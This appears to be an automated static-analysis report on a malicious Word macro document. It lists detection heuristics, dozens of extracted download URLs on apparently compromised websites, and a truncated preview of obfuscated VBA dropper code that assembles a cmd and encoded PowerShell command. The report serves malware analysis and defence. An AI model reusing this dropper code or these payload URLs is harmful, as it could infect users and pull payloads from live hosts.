Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c3ceb3484c338ba…

MALICIOUS

Office (OLE)

440.2 KB Created: 2018-08-18 01:14:00 Authoring application: Microsoft Office Word First seen: 2018-08-26
MD5: fab4fd904724b05cc80616efc07d1e16 SHA-1: 752d61dadcd3f04075bd6fee8ba1357c368392b3 SHA-256: 2c3ceb3484c338ba876cb49dbcad142c369f9058a95a86d0098c721143a824de
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, indicating an attempt to execute malicious code upon opening. The presence of a 'password-protected archive handoff' heuristic suggests the document's purpose is to trick the user into handling an encrypted payload. The obfuscated VBA script likely attempts to download and execute a second-stage payload, as indicated by the numerous unknown URLs and the ClamAV detection signature 'Doc.Dropper.Valyria-6667982-0'.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6667982-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6667982-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 450,719 bytes but its declared streams total only 69,043 bytes — 381,676 bytes (85%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.peteka.no/wp-content/uploads/2016/11/mod_filezipr.php In document text (OLE body)
    • http://www.copyland.su/upload/1c_catalog/import_files/79/mod_filezipr.phpIn document text (OLE body)
    • http://www.boldrini.org.br/wp-content/themes/twentyfourteen/images/mod_filezipr.phpIn document text (OLE body)
    • http://www.staybrightrooflight.co.uk/wp-content/plugins/godaddy-email-marketing-sign-up-forms/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.seven-temptations.com/administrator/components/com_templates/tables/mod_filezipr.phpIn document text (OLE body)
    • http://www.personal.nwolb.user.log.security.cod.issue.fondue-at-the-fountain.com/.well-known/yulluo/mod_filezipr.phpIn document text (OLE body)
    • http://www.solomusiclessons.com/wp-content/uploads/2018/03/mod_filezipr.phpIn document text (OLE body)
    • http://www.mrsfashion.net/wp-content/themes/florida-wp/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.8.prakt123.z8.ru/components/com_content/views/category/mod_filezipr.phpIn document text (OLE body)
    • http://www.avtosteklomarket.ru/administrator/components/com_jshopping/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.17194.p17.justsv.com/demo/inc/mods/cloaka/mod_filezipr.phpIn document text (OLE body)
    • http://www.msajadi.com/wp-content/plugins/wp-private-content-plus/classes/mod_filezipr.phpIn document text (OLE body)
    • http://www.nevadaendo.com/newsite/wp-content/plugins/wordpress-seo/mod_filezipr.phpIn document text (OLE body)
    • http://www.domotextil.ru/image/cache/data/new_2017_05/mod_filezipr.phpIn document text (OLE body)
    • http://www.sprays-omkarenterprises.com/wp-content/plugins/godaddy-email-marketing-sign-up-forms/images/mod_filezipr.phpIn document text (OLE body)
    • http://www.khoabacninh.com/wp-content/plugins/wp-lightbox-2/styles/mod_filezipr.phpIn document text (OLE body)
    • http://www.readygirl.org/Plus/PK/Plus/background/mod_filezipr.phpIn document text (OLE body)
    • http://www.sophiethomasartist.com/wp-content/themes/twentysixteen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.doradoux.fr/blog/wp-content/themes/twentyfourteen/mod_filezipr.phpIn document text (OLE body)
    • http://www.handpaintedmurals.ca/tomasfrido/wp-includes/images/wlw/mod_filezipr.phpIn document text (OLE body)
    • http://www.chara-advokat.cz/wp-content/plugins/revslider/admin/mod_filezipr.phpIn document text (OLE body)
    • http://www.softwareworld.co/wp-content/plugins/wordpress-seo/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.bigbit.tk/wp-includes/js/jquery/ui/mod_filezipr.phpIn document text (OLE body)
    • http://www.seshcinematography.com/wp-content/themes/twentyseventeen/template-parts/mod_filezipr.phpIn document text (OLE body)
    • http://www.daverocheleau.com/cgi-bin/CNTRGIFS/_vti_cnf/nowir/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.wuzuf.net/wp-includes/Requests/Exception/Transport/mod_filezipr.phpIn document text (OLE body)
    • http://www.sesfabrikasi.com/wp-content/uploads/2018/03/mod_filezipr.phpIn document text (OLE body)
    • http://www.qualitycoresystems.com/images/cncm/mod_filezipr.phpIn document text (OLE body)
    • http://www.sefahathane1992.com/wp-content/themes/tracks/styles/mod_filezipr.phpIn document text (OLE body)
    • http://www.formation-prise-de-parole.fr/wp-content/themes/twentyfourteen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.rapido.net.br/clientes/hotelsereia/assets/bootstrap/mod_filezipr.phpIn document text (OLE body)
    • http://www.mum2.ru/wp-includes/js/tinymce/themes/mod_filezipr.phpIn document text (OLE body)
    • http://www.serkankoc.com.tr/wp-content/themes/twentysixteen/css/mod_filezipr.phpIn document text (OLE body)
    • http://www.advokatus.lt/wp-content/plugins/wordfence/waf/mod_filezipr.phpIn document text (OLE body)
    • http://www.elaboody.com/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.sqlforall.com/wp-content/themes/education-park/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.contango.ly/wp-content/plugins/wp-hide-security-enhancer/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.eruslanov.ru/wp-admin/1/3d79a0047359255cc3bef9426/img/mod_filezipr.phpIn document text (OLE body)
    • http://www.mmt.ro/wp-content/plugins/wpml-cms-nav/res/mod_filezipr.phpIn document text (OLE body)
    • http://www.14.deduch.z8.ru/wp-admin/css/colors/coffee/mod_filezipr.phpIn document text (OLE body)
    • http://www.onwardandupwards.org/wp-content/themes/twentyten/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.etesltd.com/aspnet_client/system_web/1_1_4322/_vti_cnf/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.stvalentinecare.co.uk/wp-content/themes/appointment/css/mod_filezipr.phpIn document text (OLE body)
    • http://www.plowparts.net/dir/wp-includes/images/crystal/mod_filezipr.phpIn document text (OLE body)
    • http://www.setfireltd.com/wp-content/plugins/godaddy-email-marketing-sign-up-forms/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.ucardoor.com/ckeditor/plugins/about/dialogs/mod_filezipr.phpIn document text (OLE body)
    • http://www.hq2016.cn/data/attachment/block/08/mod_filezipr.phpIn document text (OLE body)
    • http://www.osotspa-international.com/cn/wp-includes/js/plupload/mod_filezipr.phpIn document text (OLE body)
    • http://www.halong-bay-cruises.com/wp-content/plugins/wp-optimize/templates/mod_filezipr.phpIn document text (OLE body)
    • http://www.tabletcomputerhelp.com/wp-content/uploads/2017/09/mod_filezipr.phpIn document text (OLE body)
    +3200 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43919 bytes
SHA-256: d77a9a542752ebdd36aef9b13a54d0a96be306bdd745eb93efb0fb3a4577ff45
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iccFcBSZv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KtIiqSZrzjn"
Function zDIiQMhj()
On Error Resume Next
VarType 261065630
   IsArray dQzvj
bQhLCTlt = "Md  /v" + "^ " + " ^" + "   /C " + "  "
VarType Round(Vziqbz)
   VarType Cos(6806 * uzMij * 15814 / FMcAhY)
QNzDNG = CStr(Chr(QzHTANLWficQ + kFJFYwu + 34 + TRfzArCfjOzz + RncSIjJhU)) + " " + "Set^ ^ " + " ^I^" + "F^=xo^" + "@^{r" + "^}[{^l^"
SJiuRf = CVar(7)
   VarType hBNNa
urcflNfP = "l " + "-^{^ ^" + "JA^B^" + "QAE(" + "^AU^@" + "A^%^" + "A^G4" + "AZ^QB" + "3AC^0Ab" + "@BiAGo"
VarType CVar(29276969)
   VarType 63
   SJiuRf = GuFjBk
GdmMuDzrkw = "^A^Z" + "QBj^A" + "^H^Q" + "^A#A^" + "B^O^A^G" + "^U^A^d^"
IsArray Second(adcVa + tAhvkf * 74368 + CVjbk)
   VarType WvsqE
   SJiuRf = 3250
rsVRJU = "A" + "^A^uA" + "Fc" + "AZ^QB^" + "i^AE" + "^M^" + "A" + "b^AB" + "^x^A" + "^G^UAb"
SJiuRf = Fix(44060 * MVkUi)
   VarType TimeValue(qIPwwl)
hjjoBaooViw = "g^B" + "0^" + "AD^}A^J" + "^A" + "B^aAE" + "MA^d^@^" + "A^%" + "^ACc^" + "Aa^AB"
VarType Round(FBGAK)
   SJiuRf = Log(258643195)
anIKGoWcMX = "^" + "0A^" + "HQAcAA^" + "6^AC" + "(A^L@^"
SJiuRf = Cos(50225 * PUlMf - lNLAwO / 47311)
   SJiuRf = 31
sOFrkjIvGcG = "B+AH^#" + "A^" + "Z^Q^" + "Bz" + "^AG" + "g^Abg" + "^B^}^" + "A"
IsArray CDate(JFfzFw)
   SJiuRf = CDate(RjhmQ + bbnti - 80726 - zKcLAH)
wazXG = "^G" + "^EA" + "^d^Q^B" + "u^AGQA" + "c^gB"
VarType 747
   SJiuRf = CDec(ciYrAG)
   SJiuRf = 4
iAJTTbFTLTM = "^5^AC^" + "4A^Y" + "@BvAG0" + "A^L@B^" + "'^" + "A^G^0^A" + "VQ^BA^" + "AG" + "gA" + "d^AB^0" + "^AHA^"
SJiuRf = Month(ZlGvP)
   SJiuRf = CBool(2)
QrLUzqUK = "A" + "^Og^" + "Av" + "AC(AY^" + "gBy^AGE" + "AdgB^l^" + "AHc^A" + "^a" + "QB" + "^}^A"
VarType 516857644
   VarType Month(121588101)
maBNzNDnz = "^" + "G@" + "AL^g^Bv" + "^AH^#^" + "A^"
zDIiQMhj = bQhLCTlt + QNzDNG + urcflNfP + GdmMuDzrkw + rsVRJU + hjjoBaooViw + anIKGoWcMX + sOFrkjIvGcG + wazXG + iAJTTbFTLTM + QrLUzqUK + maBNzNDnz
   VarType 3
   VarType TimeValue(5)
   VarType 6
End Function
Function FhRMjqmQm()
On Error Resume Next
SJiuRf = Cos(52492 * pLXRX)
   IsArray CDbl(ARGwD)
   IsArray HLvRk
KIMmoOa = "Z^@Av^A" + "D" + "UA" + "Vg^BL^A" + "^EEA" + "aAB^" + "yAEAAa^" + "AB^0" + "A^HQA" + "cA" + "^A^6^A" + "C(^"
VarType Sin(2177 + 80601 / SjmERk / sikzh)
   VarType Str(7231)
   VarType cUGiIR
mhBEG = "A^" + "L^@B^5^" + "AHAAc" + "@^B^" + "x^A^" + "G^Y" + "A^ZQB^" + "zA"
VarType REsZXH
   IsArray Cos(VpwoKM)
   IsArray FDZFbZ
twqKJu = "^HQAL^" + "gB^" + "jAG(AbQ" + "^" + "Av^" + "AHg^AY" + "^g^B"
SJiuRf = Round(IwTWjP * EHmNsa / WIIMj - wRHXzD)
   VarType 9455
itQUo = "^yAF" + "^" + "k^A^b^" + "@^" + "B^A^AGg" + "^A^d^A^"
VarType sRXvP
   IsArray Hex(3)
FnbOYXQHji = "B0^AHAA" + "^" + "O^gAvA" + "C" + "(^" + "Ab" + "^g" + "B[" + "^A^H^o^" + "A^Y^Q"
SJiuRf = Second(ZSjCaU)
   VarType 85742947
   IsArray CzSMDs
jEjiwIfzwR = "^B^y^" + "A^" + "HM^A" + "cABv" + "^A" + "H^Q^A" + "^" + "L^gB" + "^jA^G(" + "A"
VarType Tan(vZdBTj)
   VarType Sqr(8)
   VarType Tan(3)
rahjzBz = "bQAu^" + "A^H" + "^QAc^" + "gA" + "v" + "A^GQ" + "^AV^A^" + "Bv^AGY^" + "AQQ" + "^A^"
SJiuRf = Val(59808 - NzqYK - 18785 - PhDIY)
   IsArray CStr(blfOi)
duVaaDdP = "zA^EAAa" + "^" + "A^B^0A" + "^HQA" + "cA" + "^A6AC(^" + "AL@Bz^A"
IsArray MrKXw
   VarType fYTzco
   SJiuRf = Sin(329)
CpjpqY = "^HU" + "^A^" + "a" + "^Q^B" + "j" + "^AGkA^" + "Z^A^B" + "^l" + "^A^HA^A"
IsArray 2
   SJiuRf = 997
   SJiuRf = CCur(aJsRE)
VzqJj = "cgBlAHY" + "^A^" + "ZQB" + "^u^A^HQ" + "A" + "^a" + "^Q^" + "Bv^A^G" + "^4^"
VarType Oct(nzNmLM)
   IsArray CDate(SPhqO)
hihZf = "Ac^A" + "BvA^" + "H#Ad" + "A" + "^B^[A^" + "GcAZ" + "^Q^" + "Bj^A^G" + "(^AdQ" + "^B^u^A" + "H^QA" + "{QA"
SJiuRf = 3232
   SJiuRf = Fix(58307 + ZCWdKr)
   IsArray 32
dhFwUCBmB = "^u^AG(^" + "Ac" + "g^" + "Bn^AC("
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.